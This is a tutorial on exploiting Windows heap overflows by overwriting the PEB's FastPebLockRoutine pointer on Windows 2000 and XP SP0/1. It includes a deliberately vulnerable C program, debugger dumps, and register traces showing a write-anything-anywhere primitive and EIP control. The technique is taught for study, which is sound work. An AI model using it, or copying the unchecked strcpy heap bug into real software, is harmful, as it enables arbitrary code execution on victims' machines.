Windows Heap Overflows using the Process Environment Block (PEB)

by c0ntex | c0ntexb[at]gmail.com



The PEB (Process Environment Block) is a process specific area of userland memory that contains details about

each running process. Since PEB information is user modifyable, it runs in the context of the process address

space. Information contained in the PEB includes the image base address, heap information, loaded modules and

defined environment variables amongst other things. A quick look at the PEB of a vulnerable application shows

us this information:

0:000> !peb

PEB at 7ffdf000

InheritedAddressSpace: No

ReadImageFileExecOptions: No

BeingDebugged: Yes

ImageBaseAddress: 00400000

Ldr 00241ea0

Ldr.Initialized: Yes

Ldr.InInitializationOrderModuleList: 00241f58 . 00242018

Ldr.InLoadOrderModuleList: 00241ee0 . 00242008

Ldr.InMemoryOrderModuleList: 00241ee8 . 00242010

Base TimeStamp Module

400000 447748b6 May 26 19:28:06 2006 C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe

77f50000 3eb1b41a May 02 00:56:10 2003 C:\WINXP\System32\ntdll.dll

77e60000 40d1dbcb Jun 17 18:58:35 2004 C:\WINXP\system32\kernel32.dll

SubSystemData: 00000000

ProcessHeap: 00140000

ProcessParameters: 00020000

WindowTitle: 'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'

ImageFile: 'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'

CommandLine: '"C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe"'

DllPath: 'C:\Documents and Settings\c0ntex\Desktop\testing;C:\WINXP\System32;C:\WINXP\system;

C:\WINXP;.;C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource


\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\

ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;'

Environment: 00010000

ALLUSERSPROFILE=C:\Documents and Settings\All Users

APPDATA=C:\Documents and Settings\c0ntex\Application Data

CommonProgramFiles=C:\Program Files\Common Files








Path=C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource


\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\

ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;



PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel



ProgramFiles=C:\Program Files









USERPROFILE=C:\Documents and Settings\c0ntex

WINDBG_DIR=C:\Program Files\Debugging Tools for Windows


In general the PEB holds some pretty useful information for a user when analysing a process, looking at the

structure in ntdll.dll, we can see each of the sections:

0:000> dt ntdll!_PEB 7ffdf000

+0x000 InheritedAddressSpace : 0 ''

+0x001 ReadImageFileExecOptions : 0 ''

+0x002 BeingDebugged : 0x1 ''

+0x003 SpareBool : 0 ''

+0x004 Mutant : 0xffffffff

+0x008 ImageBaseAddress : 0x00400000

+0x00c Ldr : 0x00241ea0 _PEB_LDR_DATA

+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS

+0x014 SubSystemData : (null)

+0x018 ProcessHeap : 0x00140000

+0x01c FastPebLock : 0x77fc49e0 _RTL_CRITICAL_SECTION

+0x020 FastPebLockRoutine : 0x77f5b2a0

+0x024 FastPebUnlockRoutine : 0x77f5b380

+0x028 EnvironmentUpdateCount : 1

+0x02c KernelCallbackTable : (null)

+0x030 SystemReserved : [1] 0

+0x034 ExecuteOptions : 0y00

+0x034 SpareBits : 0y000000000000000000000000000000 (0)

+0x038 FreeList : (null)

+0x03c TlsExpansionCounter : 0

+0x040 TlsBitmap : 0x77fc4680

+0x044 TlsBitmapBits : [2] 0

+0x04c ReadOnlySharedMemoryBase : 0x7f6f0000

+0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000

+0x054 ReadOnlyStaticServerData : 0x7f6f0688 -> (null)

+0x058 AnsiCodePageData : 0x7ffb0000

+0x05c OemCodePageData : 0x7ffc1000

+0x060 UnicodeCaseTableData : 0x7ffd2000

+0x064 NumberOfProcessors : 1

+0x068 NtGlobalFlag : 0x70

+0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000

+0x078 HeapSegmentReserve : 0x100000

+0x07c HeapSegmentCommit : 0x2000

+0x080 HeapDeCommitTotalFreeThreshold : 0x10000

+0x084 HeapDeCommitFreeBlockThreshold : 0x1000

+0x088 NumberOfHeaps : 3

+0x08c MaximumNumberOfHeaps : 0x10

+0x090 ProcessHeaps : 0x77fc5a80 -> 0x00140000

+0x094 GdiSharedHandleTable : (null)

+0x098 ProcessStarterHelper : (null)

+0x09c GdiDCAttributeList : 0

+0x0a0 LoaderLock : 0x77fc1774

+0x0a4 OSMajorVersion : 5

+0x0a8 OSMinorVersion : 1

+0x0ac OSBuildNumber : 0xa28

+0x0ae OSCSDVersion : 0x100

+0x0b0 OSPlatformId : 2

+0x0b4 ImageSubsystem : 3

+0x0b8 ImageSubsystemMajorVersion : 4

+0x0bc ImageSubsystemMinorVersion : 0

+0x0c0 ImageProcessAffinityMask : 0

+0x0c4 GdiHandleBuffer : [34] 0

+0x14c PostProcessInitRoutine : (null)

+0x150 TlsExpansionBitmap : 0x77fc4660

+0x154 TlsExpansionBitmapBits : [32] 0

+0x1d4 SessionId : 0

+0x1d8 AppCompatFlags : _ULARGE_INTEGER 0x0

+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0

+0x1e8 pShimData : (null)

+0x1ec AppCompatInfo : (null)

+0x1f0 CSDVersion : _UNICODE_STRING "Service Pack 1"

+0x1f8 ActivationContextData : (null)

+0x1fc ProcessAssemblyStorageMap : (null)

+0x200 SystemDefaultActivationContextData : 0x00130000

+0x204 SystemAssemblyStorageMap : (null)

+0x208 MinimumStackCommit : 0

In exploitation, the PEB becomes a useful target due to the fact of it's stability, and the actual sections

that we utilise are the FastPebLockRoutine and FastPebUnlockRoutine pointers.

0:000> dt ntdll!_PEB 7ffdf000

... SNIP ...

+0x01c FastPebLock : 0x77fc49e0 _RTL_CRITICAL_SECTION

+0x020 FastPebLockRoutine : 0x77f5b2a0

+0x024 FastPebUnlockRoutine : 0x77f5b380

... SNIP ...

Overwriting FastPebLockRoutine is actually overwriting a pointer to RtlEnterCriticalSection:


DS:[7FFDF020]=77F5B2A0 (ntdll.RtlEnterCriticalSection)

and overwriting FastPebUnlockRoutine is actually overwriting the RtlLeaveCriticalSection pointer:


DS:[7FFDF024]=77F5B380 (ntdll.RtlLeaveCriticalSection)

Now we shall continue the example and work a vulnerable piece of code!


// Heap_Overflow.cpp




int main(int argc, char *argv[])


HLOCAL peb_chunk1 = NULL;

HLOCAL peb_chunk2 = NULL;

HANDLE peb_heap = NULL;

printf("\nAn example heap overflow bug\n");

if(argc < 2) {

printf("Usage: ./peb.exe string1 string2\n");



peb_heap = HeapCreate(0x00, 0x00, 0x00);

peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);

strcpy((char *)peb_chunk1, argv[1]);

peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);

strcpy((char *)peb_chunk1, argv[2]);

HeapFree(peb_heap, 0x00, peb_chunk1);

HeapFree(peb_heap, 0x00, peb_chunk2);


return 0;


On running the program in Windbg, we shall pass the application a large string to trigger the heap overflow

bug and eventually the program will crash at the following location:

77f8452d 8901 mov [ecx],eax ds:0023:61616161=????????

77f8452f 894804 mov [eax+0x4],ecx

the registers will look like so:

eax=61616161 ebx=00000024 ecx=61616161 edx=003407a0 esi=003407a0 edi=00340000

eip=77f8452d esp=0012f814 ebp=0012fa2c iopl=0 nv up ei pl zr na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246


77f8452d 8901 mov [ecx],eax ds:0023:61616161=????????

and as we see, we control EAX and ECX, giving us the chance to write-anything-anywhere. This is a standard

heap overflow utilising the above FLINK and BLINK pointers from the heap routines. Examining the Un/Locking

pointer location prior to exploitation, they look something like so:

0:000> dd 0c7ffdf020 L4

7ffdf020 77f5b2a0 77f5b380 00000001 00000000

Here, the PEB Lock pointer [7FFDF020] points to [77F5B2A0]

and the PEB Unlock pointer [7FFDF024] points to [77F5B380]

So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.

In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the

registers will look similar to the following:

EAX 61616161 <---- Our malicious address to write

ECX 7FFDF020 <---- Our jacked pointer to write over

EDX 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."

EBX 00000024

ESP 0012F79C

EBP 0012F9B4

ESI 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."

EDI 00350000

EIP 77F8452D ntdll.77F8452D

and the MOV DWORD PTR DS:[ECX],EAX will overwrite 7FFDF020 with our malicious values (perhaps a call or jmp

to ECX). The second MOV will fail and access violate, but I don't care here. Next, we continue the process

in Olly with Shift +f7 and suddenly we see some magic. We have our pointer overwritten prefectly:

7FFDF020 61 61 61 61 80 B3 F5 77 aaaaТ�ТГУЕ 7FFDF028 01 00 00 00 00 00 00 00 .......

PEB Lock pointer [7FFDF020] points to [61616161]

Continuing the process again with Shift +f9, we end up with our registers looking like:


ECX 61616161

EDX 000001FF

EBX 00000000

ESP 0012FE24

EBP 0012FE60

ESI 77D4A608

EDI 77F59037 ntdll.77F59037

EIP 61616161 <---- YEY!!!!

Perfect, we managed to make the process jump to our user supplied location and execute our values. This means

that we have reliable code execution across multiple platforms, as the lock pointer is the same on Windows 2k

with any service pack and Windows XP SP0/1. On XP SP2 we run in to other heap exploit issues which are beyond

the scope of this document.

On Windows Server 2003 SP0, unfortunatly the pointers to RtlEnterCriticalSection and RtlLeaveCriticalSection

have been randomized which means we can not use this method as a stable location to write to.

0:000> dd 0x7ffdf020 L4

7ffdf020 00000000 00000000 00000001 00000000

Also we run in to other heap exploit issues which are beyond the scope of this document.

I hope this quick paper has been useful in helping understand what PEB overwrites are and how to perform the

technique, it really is a piece of cake!



Ведете ли вы блог?


Результаты опроса

Новостной блок